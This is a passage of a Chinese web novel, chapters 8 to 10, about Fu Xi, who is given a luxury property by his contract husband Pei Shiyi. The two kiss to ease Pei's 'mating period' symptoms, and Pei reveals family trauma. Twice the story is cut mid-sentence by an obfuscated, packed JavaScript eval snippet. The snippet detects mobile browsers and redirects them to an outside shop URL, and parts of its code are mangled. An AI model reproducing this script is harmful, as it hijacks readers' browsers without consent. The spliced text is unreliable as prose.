就是不知道比他还严重的裴时意现在怎么样了。 付溪垂下眼睫。 今天周末,不用上学。 付溪收拾收拾,打算出门去补购一些日用品,尤其是内裤,现在都快成消耗品了,肯定要买新的。 然而临出门时,却被一通电话绊住脚步。 “是,我是付溪……” “什么?不不不,我根本没有购买房产……” “钱已经交了!?不能退吗???” “……哦哦,好的。” 挂断电话,付溪一脸痴呆。 怎么回事! 裴时意怎么变本加厉,连房产都买了!?写的还是他的名字!付溪只觉得自己跟做梦一样。他突地“啊”了声,回想之前他给裴时意打电话时说的话—— 「家里已经堆满,放不下了。」 所以,裴时意就干脆给他买一套能放得下的房产吗!? 恐怖,太恐怖了。 付溪两腿一蹬,生无可恋。 他!当时!根本!不是这个意思啊! 救命。 8. 第 8 章 低调奢华的悬浮车稳稳停在这片堪称贫民窟的廉租房楼前。 路过的公民们难免多看一眼,心中暗自寻思——平日里,这类私人悬浮车通常都绕着这片区域走,仿若只要一靠近就会沾染上什么穷气,今天倒是奇了。 付溪换上干净整洁的衣服下楼时,一眼看到已经在等候的房产公司工作人员,他快步上前:“抱歉,久等了。” “应该的。”工作人员挂上温和的笑,主动上前与付溪握手,“付溪先生,水、碳酸饮料、果汁,或是你想在中途来一点酒?” 付溪:“果汁吧。” “好的。请稍等。”工作人员主动帮付溪拉开车门,“付溪先生,请上车。” 付溪钻进车里,对方立刻递上精致的小蛋糕和果汁。 他道谢的同时不禁心想,这家公司的服务意识还怪好的嘞,毕竟以首都星的条件,这块小蛋糕和果汁绝对价格不菲。 抵达目的地,已经是一个小时后。 付溪被带着前往一座金碧辉煌的大楼。 “付溪先生,请稍候。” 工作人员将付溪引至卡座,端上水果,隔了好一会儿才重新归来,面戴歉意,微微躬身,“先生,关于您之前在车上说,想将房产的名字变更为出款人的事……” 付溪身体前倾:“怎么样?” “抱歉。”工作人员摇头,“您这位出款人的账号是高级保密状态,我们这边试图进行联系,系统反而遭到攻击,现在都还在抢修呢……” 付溪:“啊?” 工作人员心有余悸地解释:“首都星的多数富豪都会开启隐私防护功能,不过这种遭到探查后立刻反向追击的,我只在军部见过,如果不出意外的话,没一会儿我们经理就要被军部的人找麻烦了,不过请放心,我们这边会摆平一切,而且……抱歉,我们并未查到您说的那位名叫‘裴时意’的公民。” 付溪脑子里乱糟糟的,还在想军部的事,闻言一愣:“没查到?” “是,至少在我们的系统里,并没有任何一位合法公民符合您之前的描述……”见付溪神色茫然,工作人员不知脑补到了什么,看向付溪时眼神闪过一丝同情,“我这边还是建议您在房产上填写自己的名字,把握住目前能拥有的。” “……好的。” 付溪垂眸。 所以,没有查到的意思是,首都星根本没有这一号人? 那裴时意是? ……完全虚假的人设?还是因为目前在军部工作,保密级别太高,所以这位工作人员查不出来? 付溪想到自己手里的结婚证,更倾向于是后者。 整个签约过程比付溪想象中顺利,多数手续都由工作人员直接代办,由于裴时意已经付过全款,付溪只需要在一份份文件上签署自己的名字即可,而他手腕上的最新款天穹终端,恰好有扫描解读文件的功能,完全不用担心被坑。 “看得出来,那位其实很喜欢您。”工作人员开口,“首都星的房产可不便宜,尤其是绿化率如此之高,风景还这么好的地段。” 付溪尴尬的笑笑。 他觉得,工作人员似乎误会了他和裴时意的关系,以为他正被富豪包养……不过付溪心里清楚,虽然他和裴时意的确领了结婚证,但实际并没有夫妻之实。 ……呃,夫夫之实。 误会就误会吧。 付溪单方面猜测,裴时意之所以会送这么多东西,可能跟他最近工作忙,担心付溪直接离婚跑路有关? “接下来还要走七天左右的流程,等全部手续和房产证办下来,我们这边会第一时间通知您并帮忙整理东西搬家。” 工作人员收好桌面上的文件,“辛苦您了,付溪先生。” 付溪摆手:“不辛苦不辛苦,是你们比较辛苦。” 从头到尾,他都没做什么,只等着工作人员跑前跑后。 “哈哈哈,付溪先生,您说笑了,要知道您这一单的提成,是能让我直接实现财富自由的。”工作人员笑眯眯地重重握了握付溪的手,“所以应该是我感谢您才对。请放心,接下来我会尽职尽责,争取让您早日搬进新房。” 付溪:“好的呢。” 等等……实现财富自由!? 补兑! 这套房产究竟多少钱!?? 付溪走出房产公司的大厅,被恭敬地再次请到悬浮车上,一路呵护着送回廉租房,双方告别,付溪关上门,瞳孔地震。 他鞋都没换,打开终端,一脸严肃地给裴时意打过去——想到上次终端视频里的一片漆黑,付溪贴心的没有用视频模式,而是仅通话。 很快电话就被接通,不过下一秒,终端上却弹出另一条申请,表明对方希望转为视频模式。付溪有些疑惑,试探着点击同意,但裴时意那边跟上次一样,并未弹出画面,依然是一片漆黑。 算了无所谓。 “裴时意!”付溪皱着眉头,用不容反驳的语气开口,“你!今晚!来找我!” 心里憋着的那一股劲儿使完,付溪立刻泄了气。 他感觉自己刚刚态度有些过于强硬,不由抿了下唇,软下语气说,“裴时意,你的症状比较严重,虽然工作重要,但身体也很重要……你之前送给我那么多东西,我全都收了,但我不能只拿好处不干活吧?而且我已经咨询过了,付款人是你哥哥,只要我想,那些东西全都是可以原路退回的,你再不来,我是真的不好意思继续拿了。而且我不否认……” 付溪没提房产公司的系统被军部追踪并攻击的事,而是撒了个小谎。 他轻咳一声,快速转移话题,想到接下来要说的话,薄红染上他的耳朵和脸颊,他睫毛微微颤了颤,“我寻偶期的症状也开始卷土重来了。” 说完,付溪感觉自己已经把意思表达的很清楚了。 他屏住呼吸,静静等待裴时意回复。 半晌,一道低沉声音传来:“知道了。” 下一秒,似乎有另一道声音在不远处响起,音色有些陌生,没等付溪听清,通话骤然被挂断。 付溪:“?” 啊?裴时意身边有人? 啊啊啊他该不会打扰到对方了吧!? 可恶。 而且裴时意说的“知道了”又是几个意思?他今晚到底回不回啊?真讨厌这种不给个准信的人。 付溪嘟嘟囔囔换鞋到一半,“哎呀”一声。 他忘记出门买日用品了! 鞋子从脱到穿,付溪转身出门,前往附近的大型超市购物。 首都星的网购比华夏还要便捷,但手续费相对较高,多数节俭的普通民众都会选择亲自前往超市购物,剩下这么一笔配送费。 居住在有“贫民窟”著称的廉租房内的公民们更是如此,因此这附近开了好几家超市,恰好位于整个区域的东南西北四角,隐隐有分庭抗礼的意思。 付溪之前精打细算生活时,抽空把四个超市全部逛完,已经摸清楚哪家超市的什么东西便宜了。 今天要买的日用品…… 是相对较远的西边超市最便宜。 付溪脚步轻快,不多时便抵达目的地。 他在货架旁认真挑选,买了一整套的洗漱用品和毛巾,以及一套身量比自己大一些,摸起来布料柔软的睡衣,打算给裴时意穿。 中途,付溪想到自己忘记买内裤,忙返回货架旁,正对比着价格,一抬眸,陡然与一双漂亮的淡金色眼眸对上。 双方隔着货架上的商品缝隙对视。 付溪呼吸一窒,等反应过来,眼眸瞬间亮起。 是裴时意! 他忙绕过货架,视线不由自主落在裴时意那张精致的脸上。 今天的裴时意造型与之前不同,他的黑色长直发被用一根简单的发簪挽起,只留几缕碎发垂落,将那张漂亮的脸毫无保留的露出,没了黑发的遮挡,可以看出他的面部线条较为硬朗,男性特征也更为突出。 如果之前花名册上是这副模样,付溪觉得他不会认错对方的性别。 ……大概?也许? 付溪对自己的颜控程度不是很有信心——在遇到裴时意之前,付溪还从来不知道自己竟然是个颜控! “你这么快就来啦!”付溪语气惊喜,快步走过去。 从打完电话到现在,才过去多久? 显然,裴时意马不停蹄就来了。 裴时意“嗯”了声,直奔主题:他低下头,在付溪的唇上亲了下。 付溪:“!!!” 付溪双手推开对方,飞快观察四周,见没人才松了口气,皱眉关心道,“你是不是已经发病了?我就说你症状比较重……” 他一顿,突地想到之前在枢律塔,有小朋友说陛下刚远征归来,说是远征,但实则花费的时间并不久,仅仅用了不到两星期,陛下便率领首都星的大军打下一颗资源星球,算一算,时间线似乎正好对上? 而房产系统那边也提到的是军部…… 付溪眨眨眼,看向裴时意,心中猜测,裴时意大概率也是远征军的一员,之前都在别的星系,所以才不能过来。 那付溪很能理解了。 他没继续之前的话题,只脸红红地说,“别在外面亲,回家再说。” 裴时意:“……好。” 裴时意垂眸,“其实我知道,我们之间的关系是假的,确实不应该跟其他的普通伴侣一样亲密。” 付溪:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471949|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是! 这话虽然说的是事实,但是搭配裴时意的语气,怎么听起来那么怪? 茶茶的。 付溪心中好笑,主动伸出手牵住对方:“我只是觉得在外面做这种亲密举动,怪不好意思的……这样?”他把两人的手举起来一点,给裴时意看,“手牵手,应该也能缓解一些症状吧?” 裴时意:“嗯。” 付溪:“那就这样。” 他之前没跟人这么亲密的牵过手。 左手传来干燥温暖的触感,属于另外一个人的体温源源不断从掌心传来,付溪甚至有种左手已经不是自己左手的感觉。 超市里各种气息混杂,可只要双方靠得近一些,付溪鼻翼间便能闻到一股若有若无的檀香。 是他之前在与裴时意接吻时,就闻到过的气味。 付溪心脏咚咚咚跳。 裴时意侧过身,将付溪提着的几样商品接到手中,询问:“还有什么要买的吗?” 付溪这才找到自己的主线任务,低头查看一番后,顿住。 还有…… 内裤。 不不不不。 不论如何,付溪是绝对绝对不会当着裴时意的面购买内裤的!虽然同为男人,这事没什么好羞耻的,但……付溪就是感觉很羞耻啊!毕竟他买新内裤的原因是昨天晚上那个梦,而昨天晚上那个梦—— 付溪偷看裴时意一眼。 裴时意:“怎么了?” “……没。” 付溪趁机将之前选的睡衣拿出来,在裴时意身上稍微比对了一下,发现尺码刚刚好,得意一笑。 他拉着裴时意去收银台,并叮嘱:“你回头抽空去做个体检,尤其是关于寻偶期这方面的,咱们回头得指定一下相关计划。总是这么三天打鱼两天晒网,会导致病症反反复复,到时候反而不好……” 付溪抬起手腕付了账,扭头问,“听到没?” 裴时意表情认真:“听到了。” 付溪:“这可是首都大学来的教授亲口说的。” 裴时意:“你去听讲座了?” 付溪:“对呀。” 两人手牵着手压马路,往家的方向走。 付溪开口:“我之前应该说过?我现在还是首都星的临时户口,之前不住这里,所以完全不知道寻偶期这回事,是有了症状后在老师的提议下才去看医生的,医生推荐我去听一下讲座……” 他一顿,“说起来,你怎么知道我在刚刚那个超市里?” 裴时意指指付溪手腕上的终端。 付溪:“?” 裴时意:“有家属定位。” 付溪:“。” 这真是一点隐私都没有了。 不过付溪觉得自己没什么需要隐瞒裴时意的,甚至这种各个方面都对伴侣毫无保留的相处模式,在付溪的好球区内,因此他完全能接受。 “那我也能看到你的位置吗?” 付溪好奇地看一眼终端。 裴时意摇头:“不行。” 付溪:“。” 这真是……双标啊!!! 付溪怨念地看着裴时意。 裴时意低声道:“抱歉,我……” 他语气迟疑。 “算啦,我懂。”付溪说,“你工作特殊,不能暴露也很正常。” 付溪已经完全将裴时意代入华夏的某些特殊警察身份,因此非常能理解。 裴时意垂眸,轻轻应一声。 最近首都星天气逐渐闷热,风里也裹挟着些许躁动。 付溪拉着裴时意漫步在钢筋铁骨中。 这片生活区域绿化率低到发指,周遭全是间距很小的高楼,行走其间,莫名有种随时都会被吞没的感觉,对巨物恐惧症的公民很不友好。 好在政府发放的廉租房区域楼层并不算高,让周遭的公民们得以喘息。 “进来吧。就是家里有点乱……”付溪终端在门锁上“滴”了下,打开房间门,弯腰给裴时意拿拖鞋。 手指还没碰到柜子,一条用力的手臂先穿过他身前,手臂横在付溪腰间,带着青筋的大手牢牢扣住付溪的腰,将他往上一提, 付溪:“诶!?” 下一秒,还处于震惊状态的付溪像只任人摆布的娃娃,身体腾空,被翻转过来,按在门口的墙上。 裴时意:“你说的,回家亲。” 檀香伴着一片柔软袭来,压住付溪的唇角。 裴时意吻了下,离远了些,淡金色的眸子与付溪对视,他目光依次往下,在付溪的鼻子、微微张开的唇、下巴处扫过,最终落在喉结上,含混道:“想亲。” 说罢炙热的唇便吻上去。 9. 第 9 章 喉结周围的皮肤很薄,且神经末梢丰富。 刚一被触碰,付溪就有种微弱的,过电般的酥麻感,他甚至能感受到裴时意贴上来时嘴唇的温度、湿度,以及对方轻微吸-吮的力道。 付溪:“……” 这感觉实在是有点太超出了。 付溪只觉得灵魂都要飘远。 他下意识做了个吞咽的动作,感到有些呼吸不上来,忙脸红心跳的推开裴时意,抬手捂住自己不住上下滚动的喉结。 “嗯?”裴时意抬眸,微微偏过头。 他淡金色的眼眸湿漉漉的,似是被水洗过,无辜又纯真的近距离看着付溪。 付溪:“……” 付溪又要窒息了。 这次是因为裴时意的表情。 ……好可爱。 简直就是在引-诱。 付溪眼晕的心想,这种时候,哪怕裴时意说让他去摘天上的星星,他也是会一口答应下来的! 不过亲喉结确实不行,因为这个他真能做到。 付溪小声说:“不要亲了,有点……有点那个。” 裴时意:“哪个?” 付溪:“……就是那个。” 双方对视,付溪败下阵来:“我去一趟洗手间。” 他飞快换鞋,一手拉着衣摆往下拽,啪嗒啪嗒地往洗手间里冲,直到半个小时多后才出来,俨然是一副洗过澡的模样。 付溪拿着毛巾擦头发。 他的脸被水蒸气熏的泛粉,长长的睫毛垂下来,因为不好意思,所以始终都没看裴时意,但身体却磨磨蹭蹭往对方身边靠,说:“之前两次亲吻后,我的病症好了十天左右,你呢?” 裴时意低低道:“两个小时。” 付溪:“?” 两个小时!?? 啥?这么短吗? 这不意味着还没出付溪家的门,裴时意就已经开始犯病了吗!?这对吗!?? 付溪一脸痴呆的看着裴时意。 但裴时意表情不似作伪。 付溪微微蹙眉。 之前医生和首都大学的教授都提到过,缓解寻偶期病症的最佳方法,就是寻找一位匹配度高的伴侣,交换体-液,而他们之前的亲吻都是浅尝辄止,只嘴唇对了一下嘴唇,确实不算是交换…… 对于刚发病的付溪而言,这样的尝试足够他安稳度过一段时间,但对病症更严重的裴时意而言,实在杯水车薪。 看来得更进一步才行。 想到这里,付溪叹了口气。 ——穿越之前,他一直以为自己性取向为女,从未想过跟男人做这种事,按理说,应该任何时候都心如止水,甚至厌恶? 但刚刚仅仅只是被裴时意亲了下喉结…… 怎会如此! 所以他其实是个双性恋吗!?或者……颜性恋? 确实。 裴时意长得太好看了。 付溪用毛巾盖住自己的脑袋,充当鸵鸟,并胡思乱想:他穿越的这个星球真的正经吗?该不会是什么18X小黄-漫背景设定吧!? 不然根本没法解释什么寻偶期和交换体-液的设定啊喂! 至于裴时意。 之前两人接吻时,他一直没试图深入,会不会是因为根本不懂? 也对。 虽然裴时意嘴上一直喊着想亲想亲,但在接吻的过程中,却好似全凭本能行事,很是青涩……最多就只咬了下付溪。 这样下去,根本达不成治病条件。 付溪自己亲身体会过,深知寻偶期有多麻烦,尤其在做事的时候,脑子就像是被控制了,时不时莫名闪过一些黄色废料,且多数时间都是一团浆糊,只有强迫自己集中精神才会好一些。 也不知道发病这么久,裴时意究竟是怎么忍过来。可能身为军人,通过训练后,他的意志力比普通人强吧? 而且…… 哪怕跟付溪领了结婚证,裴时意也没有为了自己的病症强迫付溪,付溪真心觉得裴时意人很好。 他脑子里乱糟糟的,一会儿想东,一会儿想西,最终,他深深吸一口气,仿若下定什么决心,再抬眼,眼眸中已经满是坚定神色,冲裴时意勾勾手。 裴时意走过来。 好乖。 付溪心中评价,将头顶的毛巾丢到一边,主动揽过裴时意的脖颈,将后者往下拽了拽:“张嘴。” 裴时意一怔。 他似是不明所以,却还是非常听话的张开嘴。 果然乖。 付溪凑上去,试探着贴了下裴时意的唇,离得这么近,付溪能闻到在裴时意的身上,除却之前那股檀香外,似乎还带着点柠檬的清香?有点好闻。他心不在焉想着,硬着头皮,将舌-尖试探着伸过去一点。 最先碰到的似乎是裴时意的……牙齿? 付溪秉持着研究精神,往旁边探了探。 呃,这次碰到了什么? 在付溪认认真真研究时,裴时意身体愈发绷紧。 下一秒,他无师自通般抱住付溪的身体,大手箍住付溪的腰,另一手五指张开,按住付溪的后背,缩小两人之间的缝隙。 “唔。” 付溪猝不及防往前撞,嗑了一下牙,只觉得嘴上一痛,他眉头瞬间蹙起,下意识想后撤,却察觉有什么东西追上来…… 付溪:“!!!” 啊啊啊啊! 稍一碰触,付溪就觉得哪儿哪儿都不对劲,比刚刚被裴时意亲喉结的时候还不对劲,他一张脸爆红,才磕碰到的牙齿不疼了,大脑一片空白,无法转动,连呼吸都不顺畅起来。 他本能想偏过头躲避,逃离这一切,却被裴时意桎梏——那只按在他后背的手,不知何时出现在他的后脑勺,五指依然是张开的状态,插-进他还未干透的湿发里,指腹紧贴着头皮,轻轻摩擦着。 仿若开启什么新大陆。 裴时意半晌都没松开付溪。 他比之前的付溪还有探究精神,致力于探索付溪口腔里的每一寸,吻的付溪只能连连躲避,却逃不开。 等这一吻结束的时候,付溪嘴唇麻麻的,与裴时意对视,没错过后者视线那一闪而过的攻击欲与占有欲。 付溪有些怔愣。 攻击欲? 还没等他反应,裴时意又贴上来,这次,是裴时意在说:“付溪,张嘴。” 付溪:“……” ber,您学的好快!!! 不过, “等——”付溪只来得及发出一个音节。 他本想喝口水,平复一下呼吸,但裴时意显然食髓知味,并未给付溪机会,付溪刚张嘴说话,就径自入侵。 付溪不由后退两步,小腿肚撞到什么东西,身体下意识后仰,一屁股坐在床上,本以为就此结束,没想到裴时意竟弯腰追上来。 付溪:“……” 付溪双手落在裴时意肩膀处。 用力推拒前,他想到裴时意那张漂亮的脸或许会露出难受的表情;想到裴时意送给自己的东西;想到裴时意之前说,亲吻后他只平静了两个小时,就又开始寻偶期躁动,心中难免叹息。 算了。 估计还在发病,让让他吧。 ……果然这就是拿人手短啊! 付溪闭眼.jpg 之后,两人断断续续亲了好几次。 裴时意似乎开了智,才知道原来接吻是可以这样的,每一次都跟付溪狠狠交换体-液,而且,裴时意十分善用自己的脸,才分开几分钟,就会眨着漂亮的眼睛,舔着唇凑到付溪旁边讨吻。 数次被美颜暴击,付溪支支吾吾,压根说不出任何拒绝的话。 最后分开时,付溪嘴巴都被亲破了…… 盯着卫生间的镜子,付溪指腹轻轻按在唇上,倒吸一口凉气,第一万次后悔自己不应该那么早就教会裴时意,而是应该等裴时意要离开时,才使出这一招。 “付溪。”门外传来裴时意微哑的声音,“你好了吗?” 付溪肌肉一紧:“没!” 他扭过头,视线落在双方隔着的卫生间门板上,顿了顿,鬼使神差地走过去将卫生间的门反锁了。 做完这一举动,付溪:“……” 付溪扶额。 老天鹅,他怎么能跟防贼一样防着裴时意? 这多不礼貌。 视线盯着门锁看了看,付溪若无其事地收回目光,继续看镜子,显然并没有任何将反锁的门打开的意思。 直到十分钟后,付溪觉得这样下去不是个办法,总不能在卫生间里待到裴时意离开,才终于将反锁的门打开。 他走出去,看到裴时意在盯着两人的结婚证看。 付溪眨眨眼。 裴时意回眸看付溪,又继续看结婚证,之后,他指指旁边放置的一叠小红花:“这是?” 付溪磨磨蹭蹭没动,观察到裴时意似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471950|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎已经正常,不会再吻性大发,才凑过去扫了眼:“哦,这是我们老师发的小红花。” 裴时意好奇:“小红花?” “嗯。”付溪解释,“上课的时候认真听讲,积极主动回答问题之类的,都会被奖励一朵小红花,不过具体主要看章鱼老师的心情……每集齐二十朵小红花,就可以免一次作业,我看看……” 他拿起小红书数了数,算上之前研学才得到的两朵,“刚好二十耶。” 针不戳! 付溪又数了一遍,见裴时意目光始终落在上面,干脆拿起最后一朵小红花,转身贴在裴时意的胸前。 裴时意一怔,手指落在小红花上,低头去看。 这呆呆的样子有点可爱。 付溪眼眸一弯:“你上小学时,学校的老师没有设立这种奖励机制吗?” 裴时意顿了顿,摇头。 付溪:“那这朵送你了。” 裴时意:“不是刚好二十吗?送我一朵,你就少了。” 付溪:“没关系呀,我等周一再赚回来。” 裴时意:“……嗯。” 裴时意似是感觉很新奇,频频低头看小红花。 付溪看得心中好笑,正要调侃对方,裴时意突地抬眸:“既然是奖励机制,那我这朵小红花,是因为亲你亲的很舒服,所以你特意奖励给我的吗?” 付溪:“……” 付溪:“…………” 付溪面红耳赤:“还给我!” 付溪试图上手去抢,理所当然的大失败,两人滚作一团。 裴时意表情认真,低下头,竟是又要亲。 付溪忙捂住裴时意的嘴:“不不不……” 天哪,这什么接吻狂魔? 好恐怖! “……不亲了。”裴时意低声说着,吻落在付溪手心,他双臂撑着,将头枕在付溪脖颈处,呢喃道,“好喜欢你。” 付溪脸一红。 他手指蜷缩了下,偏头看向一旁的墙壁,心想,他们两个这才认识几天呀,统共也就只见了三次面,什么都不了解呢,怎么就能说喜欢…… “对了。”付溪推了推裴时意,坐起身,他看一眼时间,叮嘱裴时意,“你记得到时候算一下,像刚刚那样接吻能好多久,我们到时候规划一下。” 付溪表情认真,“发病期太难熬,尤其你的工作环境比较危险,时刻紧绷着,如果可以,我还是希望你状态好一点。” 裴时意淡金色的眸子落在付溪脸上:“嗯。” 付溪周末的三餐也由裴时意承包。 到了傍晚,饭点,餐厅来送饭,似是早就知道裴时意在这,多给了一份,两人坐在有些狭窄的桌子旁,头对着头把饭吃了。 付溪好奇问:“你今天是不是没那么忙?什么时候走?” 裴时意委委屈屈地抬眼,轻声问:“你在赶我?” 付溪:“!” 付溪飞快摇头,生怕被误会,“不不不。”他换了个说法,“我是说,如果你晚上会留下来的话,我就去提前收拾一下……家里现在是双人床,你之前给我买的,但只有一床被子,如果你晚上在这儿,我就再抱出来一床,可以吗?” 裴时意颔首:“好。” 付溪起身去抱被子,随便找了个话题:“说起来,购买这张床的付款人名字写的是裴什么朔……是你之前提到过的哥哥吗?” 裴时意没应。 付溪:“?” 付溪下巴压在被子上,扭头去看裴时意。 后者神色怔忪,不知道在想什么。 付溪:“裴时意?” 裴时意恍然回神。 他眉头拧成一个川字,垂眸低声道:“是。” 付溪注意对方似乎不太想提到自己的这个哥哥,猜测双方或许有什么矛盾,而他和裴时意显然也没熟到可以深入聊家庭创伤的地步,便没继续话题。 他将被子放在床上铺好,陡然想到什么,“啊”了声。 糟了。之前给裴时意买来的那件睡衣,直到现在还在袋子里放着,完全忘记要先过一下水了。 现在好像还来得及。 付溪飞快前往玄关,将刚买的那条睡衣拿出来,塞进洗衣机,洗涤+烘干双管齐下,一扭头,发现裴时意依然维持着之前的姿势,他眉头仍是川字,嘴巴张合,半晌,突然开口:“他叫裴临朔。” 说话时,裴时意语气中带着明显的厌恶。 10. 第 10 章 不,不止厌恶, 可以说,提到裴临朔这个名字的时候,裴时意的恨意不加掩饰。 付溪看得心头一跳。 不过这是裴时意和他哥哥的事,付溪没经历过裴时意曾经经历的一切,就没资格对两人的关系随意发表看法。 而且—— 虽然他先认识的裴时意,又与裴时意领了结婚证,理应站在“伴侣”这边,但裴时意之前购物时刷的都是哥哥裴临朔的卡,甚至称得上是大刷特刷,这证明双方或许也没有裴时意说的那么的,唔,敌对? 反正很复杂的样子。 付溪身为外人,不想参与其中。 他将之前在超市买的,给裴时意用的日用品都拿出来,一一摆放。 “……裴临朔,他杀了我母亲。”裴时意再次开口。 付溪:“???” 啊!?? 付溪差点没放稳杯子,他瞪圆眼睛,扭头吃惊地看向裴时意,又觉得自己的表情过于不礼貌,会伤害到裴时意,毕竟这是一句非常沉重的话,忙整理好神色,垂眸去看裴时意的水杯,脑子里乱糟糟的。 裴临朔杀了裴时意的母亲? 所以他们是同父异母的兄弟? 那……裴临朔杀了人,现在在坐牢? 还是说,这个“杀”只是一个隐喻?例如在一个家庭里,母亲难产而死,哥哥就痛恨地说是弟弟“杀死”了母亲? 付溪大脑疯狂旋转。 他想安慰裴时意,又觉得自己不清楚内情不能随便说,且不论怎么安慰都解决不了裴时意的痛苦,因此只默默走过去,坐在裴时意身侧,紧紧握住后者的手。 裴时意没再说别的。 他靠向付溪的肩头,不知想到什么,痛苦地闭上眼。 过了会,裴时意叮嘱:“他……现在也不喜你,甚至不想让我来见你。” “怎么这样?” 付溪不悦皱眉。 裴时意的病症这么严重,如果两个人不见面,不就相当于推裴时意去死吗? 这个哥哥真的是—— 裴时意继续:“你以后见了他,一定要离他远点。” 付溪一叠声:“肯定肯定。” 说是这样说,付溪却觉得,他跟裴时意的哥哥根本不熟,也没必要熟,因此双方应该不会见面。 除非对方像某些狗血影视剧里一样,主动找到付溪,甩给他一张支票,命令他离开裴时意…… 付溪:“。” 不至于不至于。 两个人静静依偎了会,裴时意才终于缓过来。 他去浴室洗了澡,恰好新买回来的睡衣烘干完毕,时间卡得刚刚好。 付溪觉得自己简直是个天才。 “不错,真是一次完美的购物。” 付溪眼眸一弯。 不过,裴时意换上新睡衣后,却时不时抓挠后背,很是不适。 付溪心中狐疑,主动凑过去一看,果不其然,裴时意贴着睡衣的上臂、后背,已经被他自己抓出几道红痕! 是过敏吗? 付溪担忧问:“很痒?” 裴时意:“嗯。” 付溪:“快把睡衣脱下来。” 裴时意迟疑了下。 付溪误以为对方在害羞,盯他一眼:“都是男的。” 裴时意垂眸,伸手攥住领口,他睫毛微微颤了颤:“可这是你给我买的第一件衣服……其实也不是特别痒,我能忍。” 付溪:“……” 付溪觉得,裴时意铁定在哪儿进修过“勾引”这一门课程,否则怎么三言两语,就把他迷得五迷三道,晕头转向。 “但你应该是过敏了。”付溪哄道,“乖,咱们不差这一件,我以后还给你买。” 裴时意这才将睡衣脱了。 虽然发现及时,远离过敏源的速度也算快,但裴时意被衣服大面积接触的后背等地方,依然还是冒出许多米粒大小的红色丘疹。 付溪之前没遇到过这种状况,被吓了一跳,攥住裴时意的手:“不要再挠了,万一破了就糟了。” 好在首都星科技发展迅速,生活也十分便捷。 付溪摸出终端,对准裴时意身上的丘疹扫描。 仅一秒,终端就识别出裴时意的症状,并弹出一款软膏的药物购买界面,付溪确认地址,点击购买,等了大约五分钟,门铃就响了,他快速下床去拿了药,重新回到裴时意身边,打开药膏时,先看了眼日期与说明,并递给裴时意,见没问题,才去洗了手,开封软膏,用指腹轻轻给对方涂抹。 药膏带着点点的凉意,混着付溪的体温,擦在裴时意身上。 裴时意静静看着付溪,喉结微微滚动。 付溪抹完一轮,查漏补缺,同时问:“现在还痒的厉害吗?” 裴时意摇头。 付溪紧绷的情绪这才稍微放松:“那就好。” 他去重新洗了手。 “真抱歉。”付溪盘腿坐在床上,仔细观察裴时意身上的红点点,“我之前忘记问你会不会过敏了……你还有什么其他过敏的东西吗?我记一下。” 裴时意身上的药膏还没干,不能沾任何东西。 因此,他赤着上身坐在床上,与付溪正对,摇头说:“事实上,在这次过敏之前,我也不知道竟然会过敏。” 付溪:“……好吧。” 付溪抬眸,与裴时意视线对上,他一顿,飞快垂下眼。 大约因为是军部的人?裴时意身量很高,身材也很好。之前穿着衣服的时候看不出,此时脱掉,付溪才察觉裴时意的肌肉很发达结实,不是健身房里吃蛋白硬堆出来的那种,而是很匀称,具有力量感的结实。 付溪有些羡慕的多看两眼。 难怪裴时意之前一只手就把他抱起来,而他毫无还手之力…… 等等! 付溪,你在想什么? 速速打住! 付溪欲盖弥彰般轻咳一声,下床去倒了两杯水,放置在床头,他凑到裴时意身前,再次观察了下:“好像已经消下去一点。” 裴时意:“嗯。”他伸出手,揽住付溪的脖颈,将人拉到近前。 付溪抿着唇,眼眸透出几分紧张。 他怕裴时意又要用力亲,想直起身,可裴时意还在过敏,现在应该很难受,正需要安慰,他有点不好意思抗拒,但嘴唇的确破了,此时略疼…… 犹豫来犹豫去,付溪完美错过最佳拒绝时间。 好在裴时意只浅尝辄止的亲了一下。 付溪心中隐隐松一口气,脸红红的退开:“时间不早,该睡觉了……晚安。” 裴时意:“嗯。” 他学着付溪说,“晚安。” 付溪绕到床的另一侧。 今天真的兵荒马乱的一天…… 他闭上眼, 空气中,隐隐的檀香混着洗衣粉的味道袭来,不重,却时刻都在提醒着,付溪的身旁睡了另外一个人。 付溪不是没跟别人睡过一张床。 表堂兄弟、关系好的邻居小伙伴、初高中同学等,来家里或是出门旅游,在一张床上凑合一晚再正常不过。 但裴时意不一样。 裴时意是跟他在一张结婚证上,会跟他接吻的关系…… 付溪的身体慢吞吞转过去,背对裴时意,缓慢蜷缩成一只虾虾的模样。 ……等等,布兑。 是不是不能把屁股对着一个基佬? 付溪想到了一些恶俗的捡肥皂梗,他身体一僵,沉默两秒,缓缓伸直身体,翻了个身,转到裴时意那头。 黑暗中,付溪轻轻眨眨眼,盯着身侧的人。 裴时意似是很困,已经闭上眼睡去。 后者面容优越,黑色的柔软发丝垂落而下,在枕头上铺陈开来,简直就是睡美人的翻版。他脖颈下的肩膀裸露,大片的肌肤、肩头、锁骨以及半截胸肌,俱都展露在空气和付溪的视线中,再下的位置,才被薄被遮盖住,看不到了。 付溪:“。” 啧,正对着裴时意这边,根本睡不着啊! 最后,付溪默默又翻了半截身,心如止水,平躺睡觉。 一夜无梦。 一早,付溪醒来时,伸了个大大的懒腰,只觉神清气爽——果然,跟裴时意亲过后就是不一样! 所以这果然是个带颜色的星球背景吧!? 照例,身旁的裴时意已经不见了。 